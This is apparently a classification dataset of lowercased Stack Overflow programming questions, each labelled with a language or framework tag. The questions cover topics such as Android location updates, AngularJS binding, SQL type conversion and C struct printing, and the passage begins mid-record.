             }             }]         }          used: {              min:  overall min               max:  overall max               data: [{                 seller:{                     name:  john                       last:  smith                       phone:  xxx-xxx-xxxx                       email:  email@domain.com                   }                  car: {                     price: 15000                      color:  white                       condition:  new                       notes:  some notes about the car                  }             }]         }     } } </code></pre>   i am able to put into that format once i retrieve the information. also i would have to paginate through the database.    basically i am interested on knowing the best way to do what amazon does. an item is for sale from different vendors  and at different prices. amazon provides information about the item being sold; its condition  price  seller  etc. also  amazon gives you the lowest  highest price and the information about the item in general. what is the best approach,mysql
am i calling to many jquery sessions   i am new to jquery and currently have placed the jquery ui tab - <a href= http://jqueryui.com/tabs/#mouseover  rel= nofollow >http://jqueryui.com/tabs/#mouseover</a> on my page. within a tab i have also placed a jquery table and it is working great. i am trying to place the flexslider photo slider within another tab and it is not working. it is causing my page to return everything within the tabs stacked on top of each other that has my layout all sorts of screwed up. like i said i am new to jquery and each component that i use comes with a script and a link to place within the head section of my code. am i calling jquery too many times and overloading/overriding jquery as i suspect  i am sure one call is sufficient and have tried just calling jquery using google api.  currently i am calling jquery -1.8.3  jquery 1.9.2 ui  and  jquery min 1.6.2 via google.,jquery
using one class instead of another  i remember .net had a feature (don t remember whether it was a configuration option or assemby attribute) which would replace one class with another.    for example i have <code>ambiguousclass</code> in some referenced assembly which uses locale-unaware strings. what i want to do is inherit <code>ambiguousclass</code> with <code>localizedambiguousclass</code> and point to .net that whenever <code>ambiguousclass</code> is created or used a <code>localizedambiguousclass</code> should be used instead.    i remember something like that was mentioned in preparation for microsoft 70-536 certificate,.net
c# how to fill entire window with text starting from (0 0) to (1 0) etc.   i am trying to write a single character of text which will go from top to bottom  go back to top and move over right by 1 character and repeat until the entire window is full of text. how do i achieve this  building from the code i ve already created  thanks.   <pre><code>static void main(string[] args) {   for (int i = 0; i &lt; console.windowwidth; i++)   {     for (int j = 0; j &lt; console.windowheight; j++)     {       console.writeline( . );       console.setcursorposition(j  0);     }   }   console.readkey(); } </code></pre>,c#
how to calculate the 5th date from a date in javascript  i have a date in a javascript variable    <pre><code>var cdate= 07/21/2012   `(mm/dd/yyy format)` </code></pre>   i need to find out the 5th day from the date in <code>cdate variable</code>     ie newdate=<code> 07/26/2012 </code>    suppose if the <code>cdate= 07/28/2012    then  newdate= 08/2/2012 </code> but i did know how. i have tried a lot and searched but my result is wrong.    please replay     thanks in advance,javascript
is const char array name a const value in a function   the <code>s++</code> is a valid when it is in a function    <pre><code>void f(char s[]) {   s++; // why it works here  } </code></pre>   but it isn t when it is in main function. it is wired to me since it has the exactly same data type.    <pre><code>void main() {   char s[] =  abc ;   s++;  // wrong because it is a const value. } </code></pre>   why is that,c
how to get the monday date of a week using the week number  how can i find out the date of monday if i pass the week number. for example  i need the monday of the week 24 of the year,ios
url being truncated using uiwebview shouldstartloadwithrequest  i m loading a local web page and intercepting web clicks using:   <blockquote>   <ul>   <li>(bool)webview:(uiwebview *)webview shouldstartloadwithrequest:(nsurlrequest *)request   navigationtype:(uiwebviewnavigationtype)navigationtype</li>   </ul> </blockquote>   however if there is something like this in the html:   <blockquote>    href= http://www.zagat.com/verticals/propertydetails.aspx vid=8&amp;r=36121 > </blockquote>   (i can t past xml properly on this site without it not being displayed properly  but its not the xml to look at but the href url)    then within shouldstartloadwithrequest if i have this:   <blockquote>    nsstring *scheme = [[request url] scheme]; nsstring *host = [[request   url] host];  </blockquote>   scheme is  http  and host is  www.zagat.com .    is there a way i can extract the full string of  www.zagat.com/verticals/propertydetails.aspx vid=8&amp;r=36121,ios
ambiguity in answer in c <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/949433/could-anyone-explain-these-undefined-behaviors-i-i-i-i-i-etc >could anyone explain these undefined behaviors (i = i++ + ++i   i = i++  etc&hellip;)</a>    </blockquote>     i have heard that printf function executes from right to left and prints from left to right. by that convention  the following program should give 7 6 5. but it s giving 7 7 7 on my linux gcc compiler. is it compiler dependent    <pre><code>int i=5; printf( %d %d %d\n  ++i ++i i); </code></pre>   also  can we use cdecl/pascal keyword to change the order of execution of printf  if yes  how do we do that  i have been trying to do this but without success. thanx in advance!,c
error when creating new rails project and running rails -v  i m new to rails and i seem to get this error whenever i try to create a new project. does anybody have any insight into what i need to do with this error message  i get the same error when running  rails -v    <pre><code>/users/buckleyjosh/.rvm/rubies/ruby-1.9.3-p194/lib/ruby/site_ruby/1.9.1/rubygems/dependency.rb:298:in `to_specs : could not find  json  (~&gt; 1.4) among 137 total gem(s) (gem::loaderror) from /users/buckleyjosh/.rvm/rubies/ruby-1.9.3-p194/lib/ruby/site_ruby/1.9.1/rubygems/specification.rb:1271:in `block in activate_dependencies  from /users/buckleyjosh/.rvm/rubies/ruby-1.9.3-p194/lib/ruby/site_ruby/1.9.1/rubygems/specification.rb:1260:in `each  from /users/buckleyjosh/.rvm/rubies/ruby-1.9.3-p194/lib/ruby/site_ruby/1.9.1/rubygems/specification.rb:1260:in `activate_dependencies  from /users/buckleyjosh/.rvm/rubies/ruby-1.9.3-p194/lib/ruby/site_ruby/1.9.1/rubygems/specification.rb:1242:in `activate  from /users/buckleyjosh/.rvm/rubies/ruby-1.9.3-p194/lib/ruby/site_ruby/1.9.1/rubygems/specification.rb:1274:in `block in activate_dependencies  from /users/buckleyjosh/.rvm/rubies/ruby-1.9.3-p194/lib/ruby/site_ruby/1.9.1/rubygems/specification.rb:1260:in `each  from /users/buckleyjosh/.rvm/rubies/ruby-1.9.3-p194/lib/ruby/site_ruby/1.9.1/rubygems/specification.rb:1260:in `activate_dependencies  from /users/buckleyjosh/.rvm/rubies/ruby-1.9.3-p194/lib/ruby/site_ruby/1.9.1/rubygems/specification.rb:1242:in `activate  from /users/buckleyjosh/.rvm/rubies/ruby-1.9.3-p194/lib/ruby/site_ruby/1.9.1/rubygems/core_ext/kernel_gem.rb:48:in `gem  from /users/buckleyjosh/.rvm/gems/ruby-1.9.3-p194/bin/rails:18:in `&lt;main&gt;  from /users/buckleyjosh/.rvm/gems/ruby-1.9.3-p194/bin/ruby_noexec_wrapper:14:in `eval  from /users/buckleyjosh/.rvm/gems/ruby-1.9.3-p194/bin/ruby_noexec_wrapper:14:in `&lt;main&gt;  </code></pre>,ruby-on-rails
transitionstyle of uiviewcontroller presented modally  i am using the below statement to define the transitionstyle    <pre><code>_viewcontroller.modaltransitionstyle = uimodaltransitionstylefliphorizontal;  </code></pre>   in the below code but the above statement is not flipping horizontally while presenting it modally   <pre><code>@property (nonatomic  assign) uimodaltransitionstyle *modaltransitionstyle; @synthesize modaltransitionstyle;    self.view = [[[uiview alloc] initwithframe:[[uiscreen mainscreen] bounds]]autorelease];  [self.view setframe:cgrectmake(0  0  self.view.frame.size.width  self.view.frame.size.height)];  _viewcontroller = [[modalviewcontroller alloc] init];  uinavigationcontroller *navigationcontroller = [[uinavigationcontroller alloc] initwithrootviewcontroller:_viewcontroller];  uibarbuttonitem * button = [[[uibarbuttonitem alloc] initwithbarbuttonsystemitem:    uibarbuttonsystemitemdone target:self action:@selector(dismissview:)] autorelease];  uinavigationcontroller *navigationcontroller = [[uinavigationcontroller alloc] initwithrootviewcontroller:_viewcontroller];  uibarbuttonitem * button = [[[uibarbuttonitem alloc] initwithbarbuttonsystemitem:    uibarbuttonsystemitemdone target:self action:@selector(dismissview:)] autorelease];  [_viewcontroller.navigationitem setleftbarbuttonitem:button animated:yes];  navigationcontroller.navigationbar.tintcolor = [uicolor browncolor];  _viewcontroller.modaltransitionstyle = uimodaltransitionstylefliphorizontal;  [self.navigationcontroller presentmodalviewcontroller:_viewcontroller animated:yes]; </code></pre>   anyone knows that why it is so. when everthing is coded programmtically.    thanks for help though.,iphone
externalexception when saving the result of screencapture.captureactivewindow  recently i m trying to save the active window using c# language. the problem is as shown below    <img src= https://i.stack.imgur.com/ga0uq.png  alt= enter image description here >    the code to capture is:   <pre><code>var image = screencapture.captureactivewindow(); image.save(@ c:\temp\snippetsource.jpg   imageformat.jpeg); </code></pre>,c#
conversion failed when converting the nvarchar value  29449 29446 29450 29534  to data type int  i am create a stored procedure in sql and i get the following error when i execute the query:   <blockquote>    conversion failed when converting the nvarchar value  11021 78542 12456 24521  to data type int.  </blockquote>   any idea why    <pre><code>select      a.art_id  a.title from      art a inner join      iss i on a.iss_id = i.iss_id inner join      sections s on a.section_id = s.section_id inner join      ipadsec ips on a.sec_id = ips.sec_id where      a.art_id in (select cast(art_ids as int) /***error happens here***/                  from book_art b                  where sub_id = 68)     and i.iss &gt; dateadd(month  -13  getdate())     and a.active = 1     and ips.active = 1     and a.pdate &lt;= getdate() order by      pdate desc  art_id desc; </code></pre>,sql
convert time to string with milliseconds  python datetime.now() gives me current time including milliseconds like this:   <pre><code>2014-08-22 19:23:40.630000 </code></pre>   how do i convert the above datetime object to a string that includes the milliseconds     i looked into <code>time.strftime()</code> but it does not provide an option for milliseconds.    ideas     thanks.,python
is it possible to load/save the whole structure of plist in setting bundle using nsuserdefaults  i know it can use nsdictionary to load and save whole plist file on iphone document directory with its structure.    but is it possible to load/save the whole structure of plist in setting bundle using nsuserdefaults,iphone
html page does not display greek  i have the following html page:   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en    http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;  &lt;html xmlns= http://www.w3.org/1999/xhtml &gt;  &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt;  hello...  салом...  γεια... </code></pre>   hello is being displayed  but <em>салом</em> and <em>γεια</em>  which are in other languages  are not displayed.     any idea how to fix this,html
two way binding is not working in angular js  i have a form to submit data to a database  first time when page is loaded  it is working fine but after first submit  when we click submit for second value then console shows bad request  this is because of all the values are null in $scope.    when i debuging js step by step then again its working.    how to fix this issue.    $scope.save = function () {   <pre><code>    var mainmenurecord =         {             mainmenuid: $scope.form.mainmenuid              mainmenu: $scope.form.mainmenu              pagetitle: $scope.form.pagetitle              pageurl: $scope.form.pageurl              mainmenuorder: $scope.form.mainmenuorder              uppertext: $scope.form.uppertext              lowertext: $scope.form.lowertext              upperstatus: $scope.form.upperstatus              lowerstatus: $scope.form.lowerstatus              homepanelstatus: $scope.form.homepanelstatus              pageid: $scope.form.pageid         };     var promisepost = mainmenuservice.post(mainmenurecord);     promisepost.then(function (pl) {         alert( mainmenu   + pl.statustext +   successfully. );         clear();         $scope.form.pagenumber = 1;         loadrecord();         console.log(pl.data);      }  function (err) {         console.log( err  + err.message);     });  } </code></pre>   and service is    <pre><code>app.service( mainmenuservice   function ($http) {      //create new record     this.post = function (tblmainmenu) {         var request = $http({             method:  post               url:  /api/mainmenuapi               data: tblmainmenu         });         return request;     } } </code></pre>,angularjs
subtract 5 days from concatenated date  i have a concatenation in my where clause. it should show yyyymmddhhmi so 201710061115. however  now i need to subtract 5 days so then it should be 201710011115. is this possible  and how would i do this     <pre><code>where cast ((convert(varchar(8) [local_time] 112) + replace(convert(varchar(5) [local_time] 108)  :    )) as bigint) </code></pre>,sql
android locationmanager requestlocationupdates doesn t work  i am developing an application which lists restaurants closest to the user. when the refresh button is clicked  it lists the restaurants for the user s current location. i am using the location manager and requesting updates only when the activity comes to foreground(onresume) to avoid the constant usage of the battery. when the app goes in onpause()  the location updates are stopped. it works fine on the emulator when i pass the updates through the terminal.     problem: when i physically change my location (say drive 5 miles away) and i open my app and the activity to show the nearest restaurants  it takes long time(4-5 minutes) for the location to refresh and till then the app continues to show the restaurants for the previous location. but if i physically change my location and access google maps and then open my restaurant application  then it works instantaneously. i have ensured that the gps is switched on. what can i do to get the location manager to kick in and refresh the location as soon as i open my activity   thank you in advance!   <pre><code>package com.mortley.android.restaurantsaver;  public class nearbyrestaurantactivity extends listactivity implements onclicklistener  locationlistener{     private button refreshbutton  searchrestaurants;      imagebutton gotosearch;     private double[] lastknownlocation;     private edittext locationedittext;     private locationmanager locmanager;     private locationlistener loclistener;     private boolean gps_enabled = false;     private boolean network_enabled = false;      @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.nearbyrestaurants);         refreshbutton = (button)findviewbyid(r.id.reloadbutton);         refreshbutton.setonclicklistener(this);          searchrestaurants = (button)findviewbyid(r.id.searchbutton);         searchrestaurants.setonclicklistener(this);         gotosearch = (imagebutton)findviewbyid(r.id.golocationbutton);         gotosearch.setonclicklistener(this);         locationedittext = (edittext)findviewbyid(r.id.addresstextbox);         locationedittext.setvisibility(view.gone);         gotosearch.setvisibility(view.gone);          locmanager = (locationmanager) this.getsystemservice(context.location_service);//             locmanager.requestlocationupdates( locationmanager.gps_provider  1000  100  this);          //checks network connectivity         boolean checkconnection = isnetworkavailable();         if(!checkconnection){             toast.maketext(getapplicationcontext()   check your network connectivity   toast.length_long).show();         }          if(checkconnection){             //sets current location parameters for the user             lastknownlocation = restauranthelper.getlastknownlocation(this);             //log.v( nearbyrestaurantactivity    this +this);              restaurantapplication application = (restaurantapplication) this.getapplication();             restaurantadapter restaurantadapter = new restaurantadapter(this  r.layout.restaurantrow   r.id.label new arraylist&lt;restaurantreference&gt;());             restaurantadapter.setlastknownlocation(lastknownlocation);                 //set a global variable for the restaurantadapter in the restaurantapplication class.             application.setrestaurantadapter(restaurantadapter);             //set the adapter first and then update it when the restauranthttpasynctask makes a web service call.             setlistadapter(restaurantadapter);             //make a webservice call in a different thread passing keyword for url as a string array.             restauranthttpasynctask m_progresstask;             string[] keywords = {     american    asian    italian   mexican };             //string[] keywords = { indian };             m_progresstask = new restauranthttpasynctask(nearbyrestaurantactivity.this  keywords);             m_progresstask.setrestaurantadapter(restaurantadapter);             m_progresstask.execute();         }     }      @override     public void onclick(view v) {            //refresh button helps to refresh the restaurant list on location change. again it makes a call to the webservice using async task         if(v.getid() == refreshbutton.getid() ){               try {                 gps_enabled = locmanager.isproviderenabled(locationmanager.gps_provider);             } catch (exception ex) {                 ex.printstacktrace();             }             try {                 network_enabled = locmanager.isproviderenabled(locationmanager.network_provider);             } catch (exception ex) {                 ex.printstacktrace();             }              // don t start listeners if no provider is enabled             if (!gps_enabled &amp;&amp; !network_enabled) {                 toast.maketext(getapplicationcontext()   sorry  location is not determined. please enable your network providers.   toast.length_long).show();               }              //check network connectivity before refresh             boolean checkconnection = isnetworkavailable();             if(!checkconnection){                 toast.maketext(getapplicationcontext()   check your network connectivity   toast.length_long).show();             }             if(checkconnection){                  restaurantapplication application = (restaurantapplication) this.getapplication();                 restaurantadapter restaurantadapter = new restaurantadapter(this  r.layout.restaurantrow   r.id.label  new arraylist&lt;restaurantreference&gt;());                 restaurantadapter.setlastknownlocation(lastknownlocation);                   //set a global variable for the restaurantadapter in the restaurantapplication class.                 application.setrestaurantadapter(restaurantadapter);                 //set the adapter first and then update it when the restauranthttpasynctask makes a web service call.                 setlistadapter(restaurantadapter);                 //make a webservice call in a different thread passing keyword for url as a string array.                 restauranthttpasynctask m_progresstask  m_progresstask1;                 string[] keywords = {     american    asian    italian   mexican    chinese    indian };                 //string[] keywords = { chinese };                 m_progresstask = new restauranthttpasynctask(nearbyrestaurantactivity.this  keywords);                 m_progresstask.setrestaurantadapter(restaurantadapter);                 m_progresstask.execute();             }         }          if(v.getid() == gotosearch.getid() ){              activity child = this;             while(child.getparent() != null){                 child = child.getparent();             }             tabgroup1activity parent = (tabgroup1activity)getparent();               inputmethodmanager imm = (inputmethodmanager)getsystemservice(                     context.input_method_service);             imm.hidesoftinputfromwindow(locationedittext.getwindowtoken()  inputmethodmanager.hide_not_always);              //changes ** restaurantadapter to restaurantadapter1 to test &amp; application to application1               restaurantapplication application1 = (restaurantapplication) this.getapplication();             restaurantadapter restaurantadapter1 = new restaurantadapter(this  r.layout.restaurantrow   r.id.label  new arraylist&lt;restaurantreference&gt;());             restaurantadapter1.setlastknownlocation(lastknownlocation);               //set a global variable for the restaurantadapter in the restaurantapplication class.             application1.setrestaurantadapter(restaurantadapter1);             //set the adapter first and then update it when the restauranthttpasynctask makes a web service call.             setlistadapter(restaurantadapter1);             //make a webservice call in a different thread passing keyword for url as a string array.             restauranthttpasynctasktextsearch m_progresstask  m_progresstask1;             string keywords = locationedittext.gettext().tostring();             if(keywords.equals(  )){                 keywords =  pizza in palo alto ;             }             keywords = keywords.replaceall(      %20 );             keywords = keywords.replaceall(      %20 );             m_progresstask = new restauranthttpasynctasktextsearch (nearbyrestaurantactivity.this  keywords);             m_progresstask.setrestaurantadapter(restaurantadapter1);             m_progresstask.execute();              locationedittext.setvisibility(view.gone);             gotosearch.setvisibility(view.gone);         }         if(v.getid() == searchrestaurants.getid() ){             if(gotosearch.isshown() == true){                 gotosearch.setvisibility(view.gone);                 locationedittext.setvisibility(view.gone);             }             else if(gotosearch.isshown() == false){                 //check network connectivity before refresh                 boolean checkconnection = isnetworkavailable();                 if(!checkconnection){                     toast.maketext(getapplicationcontext()   check your network connectivity   toast.length_long).show();                 }                 if(checkconnection){                     gotosearch.setvisibility(view.visible);                     locationedittext.setvisibility(view.visible);                  }             }         }      }     //method to check network connectivity     public boolean isnetworkavailable() {         connectivitymanager connectivitymanager          = (connectivitymanager)getsystemservice(context.connectivity_service);         networkinfo activenetworkinfo = connectivitymanager.getactivenetworkinfo();         if (activenetworkinfo != null &amp;&amp; activenetworkinfo.isconnectedorconnecting()) {             //log.d( network    network available:true );             return true;         } else {             //log.d( network    network available:false );             return false;         }     }      @override     protected void onresume() {         super.onresume();         locmanager.requestlocationupdates(locationmanager.gps_provider  50  100  this);          //log.v( nearbyrestaurantactivity    in onresume() );     }      @override     protected void onpause() {         super.onpause();         locmanager.removeupdates(this);          //log.v( nearbyrestaurantactivity    in onpause() );      }      @override     public void onlocationchanged(location location) {         // todo auto-generated method stub      }      @override     public void onproviderdisabled(string provider) {         // todo auto-generated method stub      }      @override     public void onproviderenabled(string provider) {         // todo auto-generated method stub      }      @override     public void onstatuschanged(string provider  int status  bundle extras) {         // todo auto-generated method stub      } }       public class restauranthelper {  public static double[] getlastknownlocation(activity activity){     double lat = 0.0;     double lon = 0.0;     locationmanager lm = (locationmanager) activity.getsystemservice(context.location_service);         location location = lm.getlastknownlocation(locationmanager.network_provider);        if(location == null){         lat = 0.0;         lon = 0.0;     }     else{         //log.v( latitude   double.tostring(location.getlatitude()));         //log.v( longitude   double.tostring(location.getlongitude()));          lat = location.getlatitude();         lon = location.getlongitude();     }     return new double[]{lat lon}; } } </code></pre>,android
how to hide button value in url   this is my search form:   <pre><code>   &lt;form action=   method= get  name= search &gt;    &lt;input name= s  type= text  size= 40  value= &lt; php echo $_get[ s ];  &gt;  /&gt;    &lt;input name= submit  type= submit  value= search  /&gt;    &lt;/form&gt; </code></pre>   when someone clicks the search button the url in browser s address bar is something like this:   <blockquote>    <a href= http://example.com/ s=someting&amp;submit=search  rel= noreferrer >http://example.com/ s=someting&amp;submit=search</a>  </blockquote>   how can i change it so that it only displays:   <blockquote>    <a href= http://example.com/ s=someting  rel= noreferrer >http://example.com/ s=someting</a>  </blockquote>   hope i m clear...,html
how to make text with certain id show up after hovering over a certain image  okay so i have an image    <pre><code>&lt;div class= column &gt; &lt;img src= images/picture.jpg  id= first  title= firstpic &gt; &lt;span id= firstspan &gt;this is what should appear when hovering over first image&lt;/span&gt; &lt;/div&gt; </code></pre>   now  how do i make it so that  firstspan  only shows up when someone hovers over the  first  image  here is what i tried for the css.   <pre><code>#firstspan {     display: none; }  #first:hover #firstspan {     display: block; } </code></pre>   but this doesn t seem to work. any idea on what is wrong     also  is there a way for #first to be positioned inside the image on the bottom  rather than outside the image,css
not all code paths return a value  even when code returns for all inputs  i m trying to write code that returns whether or not a given integer is or is not divisible evenly by 1 to 20  but i keep receiving    <blockquote>    error cs0161:  problemfive.istwenty(int) : not all code paths return a value   </blockquote>   here is my code:    <pre><code>public static bool istwenty(int num) {     for(int j = 1; j &lt;= 20; j++)     {         if(num % j != 0)         {             return false;         }         else if(num % j == 0 &amp;&amp; num == 20)         {             return true;         }     } } </code></pre>,c#
how should i conditionally assign based on the existence of a dictionary key   i ve got some perl code like this:   <pre><code>my $match = $matches{$key}                $matches{$key} was a match!              :  there was no match.  </code></pre>   how is this best rewritten in python  i m trying to avoid getting a keyerror.,python
how to list records in a year  from jan to dec even its null  i am doing a report that let user to enter year and stock code. the report will show the monthly sales of an item from jan to dec of the selected year from user. the results must be all 12 months even if data not exist.   <pre><code>set @yyyy = 2016;  select date_format(bb.bill_date   %m/%y ) as date_1  sum(bb.qty)  stockcode from ( select  1 as srce  zz.qty qty  zz.stkcode stockcode  ll.bill_date bill_date  from posbila ll  posbilb zz  where      ll.bill_no = zz.receive_id      and      zz.stkcode &gt;=  0       and      zz.stkcode &lt;=  zz       and      date_format(ll.billdate  yyyy ) = 2016  group by zz.stkcode  ll.bill_date union select 2  0  concat(@yyyy  -01-31 )  union select 2  0  concat(@yyyy  -02-01 )  union select 2  0  concat(@yyyy  -03-31 ) union select 2  0  concat(@yyyy  -04-30 )  union select 2  0  concat(@yyyy  -05-31 )  union select 2  0  concat(@yyyy  -06-30 ) union select 2  0  concat(@yyyy  -07-31 )  union select 2  0  concat(@yyyy  -08-31 )  union select 2  0  concat(@yyyy  -09-30 ) union select 2  0  concat(@yyyy  -10-31 )  union select 2  0  concat(@yyyy  -11-30 )  union select 2  0  concat(@yyyy  -12-31 )  ) as bb  left join icstk kk on bb.stockcode = kk.stockcode  group by 1  date_1  i have this query : date_1    stkcode   qty   stockcode    description 02/16     coke      13    coke         coke123 03/16     coke      112   coke         coke123 04/16     coke      6     coke         coke123 06/16     coke      5     coke         coke123 </code></pre>   but i want something like:   <pre><code>date_1    stkcode   qty   stockcode    description 01/16               0 02/16     coke      13    coke         coke123 03/16     coke      112   coke         coke123 04/16     coke      6     coke         coke123 05/16               0 06/16     coke      5     coke         coke123 07/16               0 08/16     coke      5     coke         coke123 09/16               0 10/16               0 11/16     coke      15    coke         coke123 12/16     coke      25    coke         coke123 </code></pre>,mysql
c# search all files in a directory that contain a string  then return that string  using user inpit into a textbox  i want to search for which file in the directory contains that text. i would then like to parse out the information     but i can t seem to find the string or at least return the information. any help would be greatly appreciated.     my current code:   <pre><code>private void btnsearchserial_click(object sender  eventargs e) {     dynamic dirscanner = @ \\mypath\ ;     string strserial;     string strsid;     string strinputline;     string stroutput;      strserial = convert.tostring(txtserialsearch);     strsid = convert.tostring(txtsid);      if (txtserialsearch.text !=    &amp;&amp; txtsid.text !=   )     {          try          {                                   string[] allfiles = directory.getfiles(dirscanner);                foreach (string file in allfiles)               {                    if (file.endswith( .txt ))                                                {                           using (streamreader sr = new streamreader(file))                         {                               while (sr.peek() &gt;= 0)                               {                                    strinputline = sr.readline();                                     if (strinputline.contains(strserial))                                    {                                         stroutput = convert.tostring(strinputline);                                         lbloutput.text = convert.tostring(stroutput);                                    }                               }                         }                    }               }          }     } } </code></pre>,c#
no such file or directory  error with both file in same directory and when using absolute path  all. i m running into a  no such file or directory  issue in python that s stumped me.    things i ve tried so far:   <ul> <li>closing any program that i could think might have the file open</li> <li>having the file in the same directory as the program i m running</li> <li>using the absolute path name</li> <li>escaping the backslashes</li> <li>escaping the backslashes and spaces</li> <li>changing the backslashes to forward slashes</li> <li>removing all spaces  special symbols  and numbers from the filename</li> </ul>   i even checked with os.getcwd and os.path.abspath and copy-pasted the path exactly.    i m not sure what s going on here. i m at a loss now. would i get this same error if the file is still open in some elusive background program     this is the relevant bit of code:   <pre><code>print(os.getcwd()) print(os.path.abspath( rainygenki.json ))  deckname =  c:\users\myname\my documents\liclipse workspace\kanjidrag\rainygenki.json  deck = open(deckname   r )   #opens card deck </code></pre>   this is the error message:   <pre><code>c:\users\myname\my documents\liclipse workspace\kanjidrag c:\users\myname\my documents\liclipse workspace\kanjidrag\rainygenki.json traceback (most recent call last):   file  c:\users\myname\my documents\liclipse workspace\kanjidrag\kanji_drag\kanji_main.py   line 79  in &lt;module&gt;     deck = open(deckname   r )   #opens card deck ioerror: [errno 2] no such file or directory:  c:\\users\\myname\\my documents\\liclipse workspace\\kanjidrag\\rainygenki.json  </code></pre>,python
not letting me return boolean value to function <pre><code>#include &lt;iostream&gt; #include &lt;cstdlib&gt; using namespace std; bool checkspread();  int main() {     int x;     int y;     bool ok;     do      {          cout &lt;&lt;  please enter some integers  &lt;&lt; endl;         cin &gt;&gt; x &gt;&gt; y;         checkspread(x  y);         ok == checkspread;     }      while (checkspread() == true);      {     cout &lt;&lt;  the difference between the two numbers is equal to or greater than 10  &lt;&lt; endl;      }       return 0; } int checkspread(int a  int b) {      int diff = std::abs(a - b);     if (diff &gt;= 10)     {         return true;     }     else         return false;   } </code></pre>   trying to make a program that when run the user inputs integers and will be able to continue inputting integers until the difference of the numbers input is greater than or equal to 10. for example if i input     1    2    3    4    14     the difference between is greater than 10     however boo leans are tricky for me still and the do while. shouldn t checkspread be returning a true or false to the while statement,c++
ng-click function using $index as parameter throws unexpected token error  so i ma trying to loop through an array and create an list item for each object in it.    however when then adding an ng-click to that item i get the following error  even though the code prints out correctly.   <pre><code>syntax error: token  $index  is unexpected  expecting [:] </code></pre>   i have the following code:   <pre><code>&lt;body ng-controller= videocontroller as vidctrl &gt;  &lt;div class= row  id= grid &gt;     &lt;div ng-repeat= array in videos  ng-show= vidctrl.isactive({{$index}}) &gt;         &lt;ul class= small-block-grid-3 &gt;             &lt;li ng-repeat= video in array  ng-click= vidctrl.setvideo({{$index}}) &gt;                 &lt;img src= {{video.image}} &gt;                  &lt;div&gt;                     &lt;h5&gt;{{video.title}}&lt;/h5&gt;                     &lt;p&gt;{{video.ingress}}&lt;/p&gt;                 &lt;/div&gt;             &lt;/li&gt;         &lt;/ul&gt;     &lt;/div&gt;     &lt;ul class= pagination &gt;         &lt;li ng-class= { current :isactive($index)}  ng-repeat= array in videos &gt;&lt;a ng-click= vidctrl.setpanel($index)  href= # &gt;{{$index + 1}}&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt; </code></pre>   and this is my js:   <pre><code>var videos = []; var activevideo = null;  var app = angular.module( webb-tvapp   []);  app.controller( videocontroller   function($scope){     $scope.videos = videos;      this.activepanel = 0;      this.setpanel = function(val){         this.activepanel = val;     }      this.isactive = function(val){         return this.activepanel === val;     }      this.setvideo = function(vidindex){         console.log(videos[this.activepanel][vidindex]);     } }); </code></pre>   the videos array has the following structure.   <pre><code>var videos = [     [         {             image:  foo               title:  bar               ingress:  foobar           }          {}          {}     ]      [         {}          {}      ] ] </code></pre>   i am new to angular so go easy on me.,angularjs
how do i prinf struct array   i am trying to printf the values in the structs from 2 arrays but the output gets very wierd and i dont know why.    this is whats get outputed: c123 6545645 bvabc123 vabc123 abc132    this should be outpued: johan 47 car volvo abc123    <strong>whats wrong </strong>   <pre><code>struct person{     char name;     int age; }; typedef struct person p;  struct vehicle{     char type;     char brand;     char regn;     char owner; }; typedef struct vehicle v;  int main(){     p owner[1];     v vehicle[1];      for(int i=0; i&lt;1;i++){         printf( name\n );         scanf( %s  &amp;owner[i].name);         printf( age\n );         scanf( %d  &amp;owner[i].age);         printf( type\n );         scanf( %s  &amp;vehicle[i].type);         printf( brand\n );         scanf( %s  &amp;vehicle[i].brand);         printf( regn\n );         scanf( %s  &amp;vehicle[i].regn);       }      for(int j=0; j&lt;1; j++){         printf( %s\n   &amp;owner[j].name);         printf( %d\n   &amp;owner[j].age);         printf( %s\n   &amp;vehicle[j].type);         printf( %s\n   &amp;vehicle[j].brand);         printf( %s\n   &amp;vehicle[j].regn);     }  } </code></pre>,c
upload or copying files / deleting  i am using a file in my main folder  httpdocs to execute this operations ( php ) on a  subdomain  folder that is outside the main folder.    the problem is i can t copy files  delete into that folder... the following error appears:   <blockquote>    warning: opendir() [function.opendir]: open_basedir restriction in effect. file(../ppp) is not within the allowed path(s):  in / on line 25        warning: opendir(../ppp) [function.opendir]: failed to open dir: operation not permitted in  on line 25  </blockquote>,php
how to get the local notifications which are listed in notifications pull down   i have an ios 8.0 application that produces some local notifications which are shown in the global notifications pull down (<code>the notifications view</code>).     <img src= https://i.stack.imgur.com/svapy.png  alt= enter image description here >    perfect! now i would like to:   <ol> <li>get all listed notifications for my app.</li> <li>delete a specific notification based on the <code>userinfo</code> i have provided when producing the local notification.</li> </ol>   i have been looking around <a href= https://developer.apple.com/library/ios/documentation/networkinginternet/conceptual/remotenotificationspg/chapters/whatareremotenotif.html#//apple_ref/doc/uid/tp40008194-ch102-sw1  rel= nofollow noreferrer >https://developer.apple.com/library/ios/documentation/networkinginternet/conceptual/remotenotificationspg/chapters/whatareremotenotif.html#//apple_ref/doc/uid/tp40008194-ch102-sw1</a>    and exploring the properties and methods for <code>uiapplication</code>:   <pre><code>uiapplication.sharedapplication().scheduledlocalnotifications.count </code></pre>   ~ but that one is empty which makes sense because the notifications in the list have been fired and are no longer scheduled... so:    <strong>which api(s) can i use for that  </strong>   <h2>update 1</h2>   most recent explanation for scheduledlocalnotifications beining empty <a href= https://stackoverflow.com/questions/25948037/ios-8-uiapplication-sharedapplication-scheduledlocalnotifications-empty >ios 8 [uiapplication sharedapplication].scheduledlocalnotifications empty</a>    which lead me to a rather awkward solution storing notification in nsuserdefault by key and then later get it by key and canceling the usual way:   <pre><code>uiapplication.sharedapplication(&lt;notification get from userdefaults by key&gt;).  </code></pre>   <em>but</em> i really liked to get hold of a more clean ios solution.,ios
how to customize uialertview with textview   here my problem is how to decrement the size uilaertview     thanks         uialertview *alert = [[uialertview alloc] initwithframe:cgrectmake(0  0  320  100)];   <pre><code>alert.title = @ terms of service ; alert.message = @ \n\n\n\n\n\n\n\n\n ; alert.delegate = self; [alert addbuttonwithtitle:@ cancel ]; [alert addbuttonwithtitle:@ review ];   [alert addsubview:textview]; [alert show];     </code></pre>,iphone
